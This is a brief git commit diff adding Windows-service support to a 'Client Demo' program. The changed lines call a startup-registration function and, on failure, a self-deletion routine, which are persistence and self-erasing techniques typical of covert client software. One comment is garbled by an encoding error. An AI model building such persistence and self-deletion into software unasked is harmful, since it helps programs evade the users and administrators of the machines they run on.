Feature: Support client running as windows service

This commit is contained in:
yuanyuanxiang
2025-11-23 18:13:39 +01:00
parent 9a640c0a1d
commit 36b7b86890
27 changed files with 3023 additions and 171 deletions

View File

@@ -212,7 +212,7 @@ public:
int main(int argc, const char *argv[])
{
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int r = RegisterStartup("Client Demo", "ClientDemo");
int r = RegisterStartup("Client Demo", "ClientDemo", true);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug)return r;